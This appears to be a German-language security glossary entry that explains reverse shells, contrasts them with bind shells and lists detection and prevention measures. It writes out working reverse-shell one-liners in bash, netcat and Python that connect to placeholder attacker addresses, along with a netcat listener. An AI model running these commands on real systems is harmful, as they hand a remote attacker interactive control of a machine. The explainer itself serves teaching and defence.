Reverse Shell
TL;DR: Reverse Shell
Ein Reverse Shell, auch bekannt als Connect-Back-Shell, ist, wenn ein kompromittiertes System eine Verbindung zum Angreifer herstellt und ihm eine Live-Befehlszeilensitzung gibt.
Warum ist das wichtig?
- Reverse Shells können Firewalls umgehen, da die meisten Firewalls eingehende Verbindungen blockieren, aber ausgehende zulassen.
- Angreifer erhalten echte Kontrolle, weil sie Befehle ausführen können, als wären sie direkt eingeloggt.
- Reverse Shells sind sehr verbreitet, da sie ein Standard-Schritt sind, nachdem ein Angreifer ein System ausgenutzt hat.
Stellen Sie sich das so vor: Anstatt dass der Angreifer versucht, einzudringen, tricksen sie den Server aus, damit er sich bei ihnen meldet.
Was ist ein Reverse Shell?
Ein Reverse Shell ist eine Remote-Shell, bei der der Computer des Opfers die Verbindung zum Computer des Angreifers startet.
Normalerweise startet Ihr Computer die Verbindung, wie wenn Sie eine Website besuchen. Bei einem Reverse Shell ist dies umgekehrt. Nachdem der Angreifer einen Weg gefunden hat, Code auszuführen, verbindet sich der Server zurück zum Angreifer.
Eine einfache Möglichkeit, sich das zu merken:
- Bind Shell: Sie versuchen, sich mit dem Server zu verbinden. Wenn eine Firewall Sie blockiert, können Sie nicht durchkommen.
- Reverse Shell: Der Server verbindet sich mit Ihnen. Da ausgehende Verbindungen normalerweise erlaubt sind, können Sie antworten und die Kontrolle übernehmen.
Warum Reverse Shells wichtig sind
Sicherheitsteams konzentrieren sich normalerweise auf Abwehrmaßnahmen wie Firewalls, Load Balancer und die Begrenzung von Ports. Diese funktionieren, bis ein Angreifer es schafft, Code innerhalb des Systems auszuführen.
Wenn das passiert, wird das Reverse Shell zum Hauptweg des Angreifers, um im System zu bleiben.
Warum ist das gefährlich:
-
Ausgehender Datenverkehr wird vertraut.
Firewalls erlauben oft ausgehenden Datenverkehr auf Ports wie 80 oder 443 für Updates und APIs. Reverse Shells können sich in diesem erlaubten Datenverkehr verstecken.
-
Angreifer können den Zugriff aufrechterhalten.
Selbst wenn das ursprüngliche Sicherheitsloch geschlossen wird, kann eine aktive Shell den Angreifern weiterhin die Kontrolle über das System ermöglichen.
-
Es ermöglicht laterale Bewegungen.
Mit einer Shell können Angreifer das interne Netzwerk erkunden, Passwörter stehlen und sich zu anderen Computern bewegen. Eine Schwachstelle kann schnell dazu führen, dass die gesamte Umgebung kompromittiert wird.
Wie ein Reverse Shell funktioniert
Ein Reverse Shell hat zwei Hauptkomponenten: den Listener und das Payload.
1. Der Listener (Angreifer-Seite)
Der Angreifer verwendet ein Programm, das auf Verbindungen wartet. Netcat ist ein gängiges Werkzeug dafür.
nc -lvnp 4444
Dieser Befehl weist den Computer des Angreifers an, auf Port 4444 zu lauschen und auf eine Verbindung zu warten.
2. Das Payload (Opfer-Seite)
Nachdem eine Schwachstelle wie Remote Code Execution gefunden wurde, führt der Angreifer einen Befehl auf dem Server des Opfers aus, um eine Shell zu öffnen und zurückzusenden.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Dieser Befehl startet eine Bash-Shell und sendet alle Eingaben und Ausgaben an den Computer des Angreifers.
3. Die Verbindung
Der Server des Opfers startet eine ausgehende Verbindung. Die Firewall sieht dies als normal an und erlaubt es. Der Listener des Angreifers akzeptiert die Verbindung und gibt dem Angreifer eine Live-Shell auf dem Server.
In diesem Stadium hat der Angreifer die volle interaktive Kontrolle über den Server.
Häufige Beispiele für Reverse Shells
Angreifer und ethische Hacker passen ihren Ansatz basierend auf den verfügbaren Tools auf dem Zielsystem an.
Bash (Häufig auf Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Wird verwendet, wenn Netcat auf der Zielmaschine verfügbar ist.
nc -e /bin/sh 10.0.0.1 4444
Python
Python ist sehr verbreitet auf modernen Servern.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
Das Wissen um den Unterschied zwischen Reverse Shells und Bind Shells hilft bei der Verteidigung von Netzwerken.
| Merkmal | Bind Shell | Reverse Shell |
|---|---|---|
| Verbindungsrichtung | Angreifer zu Opfer | Opfer zu Angreifer |
| Firewall-Auswirkung | Oft blockiert | Oft erlaubt |
| Netzwerk-Anforderungen | Direkter Zugriff erforderlich | Funktioniert durch NAT und Firewalls |
| Typischer Anwendungsfall | Interne Netzwerke | Angriffe in der realen Welt |
Wer verwendet Reverse Shells?
- Penetrationstester verwenden Reverse Shells, um zu beweisen, dass eine Schwachstelle zu einer vollständigen Systemkompromittierung führen kann.
- Red Teams verwenden Reverse Shells, um zu testen, wie gut ausgehender Datenverkehr kontrolliert wird.
- Böswillige Akteure verwenden Reverse Shells, um Ransomware zu verbreiten, Daten zu stehlen oder sich weiter in ein Netzwerk zu bewegen.
- Systemadministratoren verwenden Reverse Shells selten für den Fernzugriff. Sie bevorzugen normalerweise sichere SSH-Tunnel.
Erkennung und Prävention
Das Stoppen von Reverse Shells erfordert mehrere Verteidigungsschichten.
-
Ausgehende Datenverkehrsfilterung
Server sollten keinen offenen Zugang zum Internet haben. Begrenzen Sie, welche Ziele und Ports sie nutzen können.
-
Verhaltensüberwachung
Ein Webserver, der einen Shell-Prozess wie /bin/bash oder cmd.exe startet, ist höchst verdächtig.
-
Angriffsfläche reduzieren.
Entfernen Sie ungenutzte Werkzeuge wie Netcat, Compiler und zusätzliche Interpreter von Produktionssystemen.
Verwandte Begriffe
- Remote Code Execution (RCE)
- Bind Shell
FAQ: Reverse Shell
Ist ein Reverse Shell illegal?
Reverse Shells sind nur legal, wenn Sie sie auf Systemen verwenden, die Sie besitzen oder für die Sie eine klare Erlaubnis zum Testen haben. Die Verwendung ohne Erlaubnis ist illegal.
Warum erlauben Firewalls Reverse Shells?
Firewalls sind darauf ausgelegt, eingehende Bedrohungen zu blockieren und vertrauen normalerweise ausgehendem Datenverkehr. Reverse Shells nutzen dies aus.
Kann ein Antivirus Reverse Shells erkennen?
Manchmal. Antivirus-Software, die Signaturen verwendet, kann bekannte Shell-Programme finden, aber fileless Shells, die mit Bash oder Python erstellt wurden, sind viel schwerer zu erkennen.
Was ist der Unterschied zwischen einem Reverse Shell und einem Webshell?
Ein Webshell wird über einen Browser verwendet und bleibt normalerweise auf dem System, hat aber eingeschränkte Funktionen. Ein Reverse Shell bietet eine Live-, interaktive Kommandozeilensitzung.